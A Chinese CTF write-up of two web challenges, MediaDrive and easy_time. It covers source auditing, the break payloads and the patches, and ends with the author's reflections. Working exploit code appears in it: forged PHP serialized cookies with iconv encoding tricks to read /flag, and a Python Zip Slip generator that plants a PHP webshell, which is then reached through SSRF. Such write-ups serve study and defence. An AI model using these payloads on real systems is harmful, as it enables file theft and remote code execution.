2026Ciscn&&ccb_web部分赛题复盘总结

前言

打得很闹心的一场比赛,问题太多了。怀着很高的期望去打的,结果一地鸡毛。比赛时候的心态有很大问题,太着急了,准备也不充分,还是得多练吧。明年一定要拿一个好成绩!!!

MediaDrive复盘

比赛时下载附件先看的不是这道题,一直在看别的,但是之后发现很多队都patch了这道题目,于是就来看了一下,这道题目不是很难,当时下载附件后迅速看了一遍整个源码,发现unserialize函数,当时直接盲猜是反序列化漏洞,但是当时一时间没想到整个的利用过程,所以一直在踌躇,想着怎么patch能不影响业务逻辑,可是看到大家kuku拿分,也有点着急了,直接尝试把所有反序列化的函数直接注释掉。提交后发现直接过了,就没有再纠缠这道题目。

现在比完了,尝试复盘整道题的patch和break的方式。

源码分析

初步解析

index.phpdownload.phppreview.phpprofile.php里都存在$user = @unserialize($_COOKIE['user']);这个反序列化的函数,同时进一步读代码会发现:用户 Cookie 中的 user 字段被直接 unserialize(),没有任何签名校验或 HMAC 验证。攻击者可以伪造任意 User 对象,控制lib/User.php的三个属性:

  1. $name:权限角色->控制显示的用户名
  2. $encoding:使用的编码->控制传输的编码
  3. $basePath:上传文件的基础地址->控制文件读取的基础路径
class User {
public string $name = "guest"; //用户名是公有的 ,应该是可以被直接伪造的,之后可以看一下是否有对于cookie的额外校验规则
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

所以从当前的分析过程中可以发现利用Cookie的user来实现反序列化。接下来看一看别的利用点。

分文件解析

index.php

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";

$uploadsDir = "/var/www/html/uploads/";

$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) { // instanceof 是 PHP 里的类型判断运算符,用来判断一个变量是不是某个类的实例,这里判断传入的cookie的user是否是User类里的实例,如果不是的话会进入分支,重新生成Cookie
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$msg = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$f = $_FILES['file'];
if ($f['error'] === UPLOAD_ERR_OK) {
$name = Util::safeUploadName($f['name'] ?? 'upload.bin');//这里调用了Util.php里的函数去载入文件名,查看其中代码后发现会删除传入文件名里的空字节“\0”、“\”、“/”,同时文件名里若是包含`..`或者去掉首尾空白后是空字符串,那么会改名为file_xxxx,这里限制了上传文件的名字,防止目录穿越漏洞
if (!Util::isAllowedUploadExtension($name)) {//限制文件上传的拓展名,同时限制了大小写绕过,如果不在白名单里会报错
$msg = "Upload failed.";
} else {
$dst = $uploadsDir . $name;
if (move_uploaded_file($f['tmp_name'], $dst)) {
$msg = "Uploaded: " . $name;
} else {
$msg = "Upload failed.";
}
}
} else {
$msg = "Upload error: " . (string)$f['error'];
}
}

$files = Util::listUploads($uploadsDir);

?>

基本可以看到漏洞点不存在于index.php里,这个文件里主要是文件上传功能,把一些比较常见的利用点都限制住了,所以多半利用点不在这里,继续看别的代码

download.php

<?php
// ……
$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) $user = new User("guest");

$f = (string)($_GET['f'] ?? "");
if ($f === "") { http_response_code(400); echo "Missing f"; exit; }

$path = $uploadsDir . $f;//把固定上传目录和用户的输入直接拼起来
$path = @iconv($user->encoding, "UTF-8//IGNORE", $path);//路径被当成$user->encoding 编码的字符串,转换成了 UTF-8,遇到不可以转换的字符时,会丢弃非法字节,但是这里的编码方式是可控的,可能会被反序列化的结果影响
if ($path === false || $path === "") { http_response_code(500); echo "Conversion failed"; exit; }

$real = realpath($path);
$uploadsReal = realpath($uploadsDir);//返回规范化后的绝对真实路径
if ($real === false || $uploadsReal === false || strpos($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0) {//只有当$real 仍然位于 $uploadsReal/ 目录下时,才允许进行接下来的一步,不然会404,存在路径校验
http_response_code(404);
echo "Not found";
exit;
}
if (!is_file($real)) { http_response_code(404); echo "Not found"; exit; }//排除下载目录的情况,只允许下载普通文件

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"" . basename($f) . "\"");
readfile($real);

这里的文件读取无法实现直接目录穿越的任意文件读取,会被前缀校验+realpath挡住,但是可能存在iconv的编码转换的问题

preview.php

<?php
//……
$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
http_response_code(400);
echo "Missing parameter: f";
exit;
}

$rawPath = $user->basePath . $f;//这里的原始路径从Cookie的User对象里直接取值同时拼接传入的参数,可以直接利用User.php里的$basePath

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {//做了一些读取flag的正则匹配,防止直接读取flag,黑名单匹配,需要考虑这里如何绕过,过滤发生在编码转换之前,过滤的对象和读取的对象不是同一个结果
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);//依旧存在编码转换问题,编码方式也是从用户可控的Cookie里获取
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

$content = @file_get_contents($convertedPath);
if ($content === false) {
http_response_code(404);
echo "Not found";
exit;
}

$displayRaw = $rawPath;
$displayConv = $convertedPath;
$isText = true;

for ($i=0; $i<min(strlen($content), 512); $i++) {
$c = ord($content[$i]);
if ($c === 0) { $isText = false; break; }
}

?>

所以可以直接分析发现preview.php是最主要的漏洞利用点,可以直接构造如下攻击链:Cookie 反序列化篡改 basePath + encodingiconv 编码转换绕过正则任意文件读取(读 /flag)

profile.php

虽然已经确定了核心攻击链,但是还是要看一下profile.php

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";

$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
}

$msg = "";
$allowed = ["UTF-8", "GBK", "BIG5", "ISO-2022-CN-EXT"];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$enc = (string)($_POST['encoding'] ?? "UTF-8");//可以提交一种编码方式
if (!in_array($enc, $allowed, true)) {//用户提交的编码方式需要在白名单里
$msg = "Unsupported encoding";
} else {
$user->encoding = $enc;
setcookie("user", serialize($user), time() + 86400, "/");//编码方式在白名单里即可把$user对象序列化回Cookie
$msg = "Saved";
}
}
?>

Break构造

UTF-7的payload

<?php

class User {
public string $name = "guest";
public string $encoding = "UTF-7";
public string $basePath = "/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

$user = new User();

$cookieRaw = serialize($user);
$cookieValue = rawurlencode($cookieRaw);

echo $cookieValue."\n";

function buildUtf7Bytes(string $text): string {// 实现utf-8转utf7的shifted sequence
$utf16be = iconv('UTF-8', 'UTF-16BE', $text);
$shifted = rtrim(base64_encode($utf16be), '=');
return '+' . $shifted . '-';// UTF-7 的 shifted sequence 格式就是:`+Base64数据-`
}

$arg='flag';
echo(buildUtf7Bytes($arg)."\n");

输出结果如下:

php exp.php
O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
+AGYAbABhAGc-

然后向url端口发送?f=%2BAGYAbABhAGc-,同时Cookie为user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D

注意:get的请求发送的是%2BAGYAbABhAGc-而不是+AGYAbABhAGc-是因为$_GET 在 PHP 里解析查询字符串时,遵循的是类似 application/x-www-form-urlencoded 的规则,+会被当成空格,所以需要URL编码,所以?f=+AGYAbABhAGc-进入php后实际上会变成$_GET['f'] === " AGYAbABhAGc-"

此处提供一个简单的测试用例:

<?php
parse_str("f=+AGYAbABhAGc-", $a);
parse_str("f=%2BAGYAbABhAGc-", $b);

var_dump($a["f"]); // " AGYAbABhAGc-"
var_dump($b["f"]); // "+AGYAbABhAGc-"

image-20260324223849326

GBK的payload

在当前验证环境中,GBK 配合 iconv(..., "//IGNORE") 可以通过插入非法字节来吞字节,因此该构造方式采取此思想。

<?php

class User {
public string $name = "guest";
public string $encoding = "gbk";
public string $basePath = "/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

$user = new User();

$cookieRaw = serialize($user);
echo($cookieValue = rawurlencode($cookieRaw)."\n");

$arg="fl"."\xff"."ag";//构造可以绕过flag过滤的限制的同时在转换编码的时候恢复成flag
echo(urlencode($arg));

image-20260325095145680

ISO-2022-CN-EXT的payload

<?php

class User {
public string $name = "guest";
public string $encoding = "ISO-2022-CN-EXT";
public string $basePath = "/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

$user = new User();

$cookieRaw = serialize($user);
echo($cookieValue = rawurlencode($cookieRaw)."\n");

$arg="fl"."\x1b$)A"."ag";
echo(urlencode($arg));

image-20260325110549541

patch

已经知道攻击链如何构造,那么patch也很简单,我之前的简单粗暴注释unserialize函数的方法会导致所有的请求都回到默认配置,用户编码无法再支持可选改变。

所以正确的最优雅的不损坏正常业务逻辑的patch脚本如下:

#!/bin/bash

sed -i '/\$content = @file_get_contents(\$convertedPath);/c\
$real = realpath($convertedPath);\
$uploadsDir = "/var/www/html/uploads/";\
$uploadsReal = realpath($uploadsDir);\
if (\
$real === false ||\
$uploadsReal === false ||\
strpos($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0 ||\
!is_file($real)\
) {\
http_response_code(404);\
echo "Not found";\
exit;\
}\
\
$content = @file_get_contents($real);' /var/www/html/preview.php

sed -i 's/\$displayConv = \$convertedPath;/\$displayConv = \$real;/' /var/www/html/preview.php

easy_time复盘报告

源码分析

/ 主页路由函数

@app.route('/')
def home():
if is_logged_in(): # 判断是否登录
return flask.redirect(flask.url_for("dashboard"))
return flask.redirect(flask.url_for("login"))

如果没登录会重定向到/login,登录了会重定向到/dashboard,其中判定登录的逻辑如下:

def is_logged_in() -> bool:
return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))

只要从cookie中直接提取visited的值等于yesuser是有值的,就等于登录成功,所以这里其实是可以通过设置cookie字段直接绕过登录的(当时为什么想的是改后面/login的密码的硬编码的md5值呢??????)

/dashboard 路由函数

@app.route("/dashboard")
@login_required
def dashboard():
return flask.render_template("dashboard.html", user=flask.request.cookies.get("user")) # 直接渲染模版里的dashboard.html


def login_required(view):
def wrapped(*args, **kwargs):
if not is_logged_in(): # 同样判断登录与否,和之前路由逻辑一致
next_url = flask.request.full_path if flask.request.query_string else flask.request.path
return flask.redirect(flask.url_for("login", next=next_url))
return view(*args, **kwargs)

wrapped.__name__ = view.__name__
return wrapped
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>后台</title>
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}" />
</head>
<body>
<main class="page">
<section class="card" aria-label="后台">
<header class="card__header">
<div class="brand">
<div class="logo" aria-hidden="true"></div>
<h1 class="title">后台面板</h1>
</div>
<p class="subtitle">当前用户:<code>{{ user }}</code></p>
</header>

<div class="card__body">
<div class="form">
<a class="button" href="{{ url_for('upload_plugin') }}">插件上传</a>
<a class="button" href="{{ url_for('board') }}">留言板</a>
<a class="button" href="{{ url_for('about') }}">个人 About / 头像</a>
<a class="link" href="{{ url_for('logout') }}">退出登录</a>
</div>
</div>
</section>
</main>
</body>
</html>

/login 路由函数

@app.route('/login', methods=['GET', 'POST'])
def login():
if flask.request.method == 'POST':
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')

h1 = hashlib.md5(password.encode('utf-8')).hexdigest()
h2 = hashlib.md5(h1.encode('utf-8')).hexdigest()
next_url = flask.request.args.get("next") or flask.url_for("dashboard")

if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde": # 这里硬编码 某个值的md5,当时我们为了登录进去是本地起环境然后替换了这里的md5值,然后得到cookie后换到远程靶机url的cookie上。在somd5里闲的无聊看到源字符串是`secret`
resp = flask.make_response(flask.redirect(next_url))
resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
resp.set_cookie('user', username, httponly=True, samesite='Lax')
return resp

return flask.render_template('login.html', error='用户名或密码错误', username=username), 401

return flask.render_template('login.html', error=None, username='')

这个函数其实没啥好说的,就是存在硬编码,当时我也认为这里不存在什么可以patch的点,漏洞点不在这里。

/logout 路由函数

@app.route('/logout')
def logout():
resp = flask.make_response(flask.redirect('/login'))
resp.set_cookie('visited', '', expires=0)
resp.set_cookie('user', '', expires=0)
return resp

没啥好说的,登出直接cookie鉴权的值设为空

/plugin/upload 路由函数

BASE_DIR = Path(__file__).resolve().parent

UPLOAD_DIR = BASE_DIR / "uploads"
PLUGIN_DIR = BASE_DIR / "plugins"

@app.route('/plugin/upload', methods=['GET', 'POST'])
@login_required
def upload_plugin():
if flask.request.method == 'GET':
return flask.render_template('plugin_upload.html', error=None, ok=None, files=None)

file = flask.request.files.get('plugin')
if not file or not file.filename:
return flask.render_template('plugin_upload.html', error='请选择一个 zip 文件', ok=None, files=None), 400

filename = secure_filename(file.filename)
if not filename.lower().endswith('.zip'):
return flask.render_template('plugin_upload.html', error='仅支持 .zip 文件', ok=None, files=None), 400

saved = UPLOAD_DIR / f"{uuid4().hex}-{filename}"
file.save(saved)

dest = PLUGIN_DIR / f"{Path(filename).stem}-{uuid4().hex[:8]}"
dest.mkdir(parents=True, exist_ok=True)

try:
print(saved, dest)
extracted = safe_upload(saved, dest)
except Exception:
shutil.rmtree(dest, ignore_errors=True)
return flask.render_template('plugin_upload.html', error='解压失败:压缩包内容不合法', ok=None, files=None), 400

return flask.render_template('plugin_upload.html', error=None, ok='上传并解压成功', files=extracted)

这里可以发现上传的zip文件会被直接safe_upload,该函数内容如下:

def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename) # 这里会直接把压缩包内的文件名拼接到目标目录上,这里没有做任何绝对路径检查(这里当时比赛的时候我审错了,我审成压缩包名拼接,然后构造了一个目录穿越的压缩包名,但是在本地没有解压成功,当时整个人有些着急,然后整道题目没打出来。)
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename))

所以审计到这里是完全可以发现漏洞点的,也就是Zip Slip压缩包路径穿越的漏洞,可以实现任意路径写文件。

/board 路由函数

@app.route('/board', methods=['GET', 'POST'])
@login_required
def board():
user = flask.request.cookies.get('user')

if flask.request.method == 'POST':
content = (flask.request.form.get('content') or '').strip()
if content:
conn = db()
conn.execute(
'INSERT INTO messages(username, content, created_at) VALUES (?,?,?)',
(user, content, datetime.utcnow().isoformat(timespec='seconds') + 'Z'),
)
conn.commit()
conn.close()
return flask.redirect(flask.url_for('board'))

conn = db()
rows = conn.execute('SELECT * FROM messages ORDER BY id DESC LIMIT 50').fetchall()
conn.close()
return flask.render_template('board.html', user=user, messages=rows)

这里是留言板,会直接把传入的内容插入到后端的sqllite的数据库里

/about 路由函数

@app.route('/about', methods=['GET', 'POST'])
@login_required
def about():
user = flask.request.cookies.get('user')

conn = db()
current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone()
about_text = current['about'] if current else ''
avatar_local = current['avatar_local'] if current else ''
avatar_url = current['avatar_url'] if current else ''

if flask.request.method == 'POST':
about_text = flask.request.form.get('about', '')
avatar_url = flask.request.form.get('avatar_url', '')

upload = flask.request.files.get('avatar_file')
if upload and upload.filename:
raw = upload.read()
upload.seek(0)
kind = sniff_image_type(raw)
if kind not in {'png', 'jpeg', 'gif', 'webp'}:# 这里判断上传的头像类型
conn.close()
return (
flask.render_template(
'about.html',
user=user,
about=about_text,
avatar_local=avatar_local,
avatar_url=avatar_url,
remote_info=fetch_remote_avatar_info(avatar_url),
error='头像文件必须是图片(png/jpg/gif/webp)',
),
400,
)

fname = f"{uuid4().hex}.{ 'jpg' if kind == 'jpeg' else kind }"
path = AVATAR_DIR / fname
with open(path, 'wb') as f:
f.write(raw)
avatar_local = f"uploads/avatars/{fname}"

conn.execute(
'UPDATE users SET about=?, avatar_local=?, avatar_url=? WHERE username=?',
(about_text, avatar_local, avatar_url, user),
)
conn.commit()

current = conn.execute('SELECT * FROM users WHERE username=?', (user,)).fetchone()
conn.close()

return flask.render_template(
'about.html',
user=user,
about=current['about'],
avatar_local=current['avatar_local'],
avatar_url=current['avatar_url'],
remote_info=fetch_remote_avatar_info(current['avatar_url']),
error=None,
)

conn.close()
return flask.render_template(
'about.html',
user=user,
about=about_text,
avatar_local=avatar_local,
avatar_url=avatar_url,
remote_info=fetch_remote_avatar_info(avatar_url),
error=None,
)

def fetch_remote_avatar_info(url: str):
if not url:
return None

parsed = urllib.parse.urlparse(url)# 直接请求url,没有任何校验,仅仅检查了是否是http或者https,可以打SSRF,但是如果配合之前的Zip Slip,可以让ssrf打webshell(但是当时队友在靶机上试了,确实可以利用,但是只能读http服务,读不到其他更有用的信息)
if parsed.scheme not in {"http", "https"}:
return None
if not parsed.hostname:
return None

req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})

Break构造

由上述源码审计分析,可以想到利用链:

写webshell构造恶意zip实现zip slip -> 上传文件使其解压到/var/www/html -> 使用ssrf打内网才能访问的webshell

构造可实现Zip Slip的压缩包的代码:

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('../../../var/www/html/shell.php', b"<?php system($_GET['tlgjm']);?>")

with open('payload.zip', 'wb') as f:
f.write(zip_buffer.getvalue())

上传文件后,在/about路由下设置头像远程url访问webshell执行命令即可

patch

题目里其实已经写了安全版本 safe_extract_zip(),只要真正使用它即可。

def safe_extract_zip(zip_path: Path, dest_dir: Path) -> list[str]:
dest_dir = dest_dir.resolve()
extracted = []

with zipfile.ZipFile(zip_path, "r") as zf:
for info in zf.infolist():
name = info.filename.replace("\\", "/")

if name.endswith("/"):
continue

if name.startswith("/") or (len(name) >= 2 and name[1] == ":"):
raise ValueError("Illegal path in zip")

target = (dest_dir / name).resolve()
if os.path.commonpath([str(dest_dir), str(target)]) != str(dest_dir):
raise ValueError("ZipSlip blocked")

target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info, "r") as src, open(target, "wb") as dst:
shutil.copyfileobj(src, dst)

extracted.append(str(target.relative_to(dest_dir)))

return extracted

所以可以把:

extracted = safe_upload(saved, dest)

改为:

extracted = safe_extract_zip(saved, dest)

可以直接执行:

sed -i 's/extracted = safe_upload(saved, dest)/extracted = safe_extract_zip(saved, dest)/g' index.py

然后同时限制fetch_remote_avatar_info的内网访问,直接调用已经写好的_host_is_public来实现对内网访问的限制

def _host_is_public(hostname: str) -> bool:
lowered = (hostname or "").lower()
if lowered in {"localhost", "localhost.localdomain"}:
return False

try:
addrinfos = socket.getaddrinfo(hostname, None)
except OSError:
return False

ips = {ai[4][0] for ai in addrinfos if ai and ai[4]}
if not ips:
return False

for ip_str in ips:
ip_obj = ipaddress.ip_address(ip_str)
if (
ip_obj.is_private
or ip_obj.is_loopback
or ip_obj.is_link_local
or ip_obj.is_multicast
or ip_obj.is_reserved
):
return False

return True

直接在fetch_remote_avatar_info添加对url的判断即可

if _host_is_public(url):
return None

不过这里没有patch过,所以不清楚是否这样就可以过patch了,其他也确实找不到什么还可以利用的漏洞点了

赛后总结

其他的两道web,一个是试图去patch了IntraBadge的ssti,但是没过,猜测是打ssrf和redis,没做出来。赛后也没redis环境,不知道flag在哪里。另一道是java的,毫无头绪,一脸懵。之后看看别人的wp吧

这次幸运地以比较好的名次进了半决,以为会很顺利,结果到场整个人脑袋发懵,完全乱了。pwn题队友其实能patch3道,因为对比赛规则的不熟悉加上打到后面有些上头,实际上也就patch了一道,不过其实上午名次还不错,当时想着像去年一样能在下午isw去做出来一些题的话,那应该不会很差。结果感觉和去年完全不一样,下午纯纯在坐牢,isw3很快拿fscan扫出来shiro反序列化利用,但是本机java环境有问题,以前积累的工具在换机后没怎么打一样的题目了,所以一直没测过,没想到直接用不了,把本机漏扫工具里的poc也都拆出来一个一个打了,七条链子,没有一条有回显。其他两道根本看不出来怎么入口。赛前准备了很多拿到shell后的提权方式和cve,结果甚至入口都没进去,坐牢一下午,真的好煎熬,好无力。感觉自己还是一个脚本小子,没能帮助到队友,没能拿到更好的成绩,没能帮助到自己,好失败。

心态和积累真的很重要,很多平时能做出来的,到线下就纯属昏了头。此外就是自己确实得真的去研究学习一下java安全了,不能只当一个脚本小子。

好好整理整理,明年再来吧,希望明年能拿一个比较好的成绩,给自己一个合理的交代。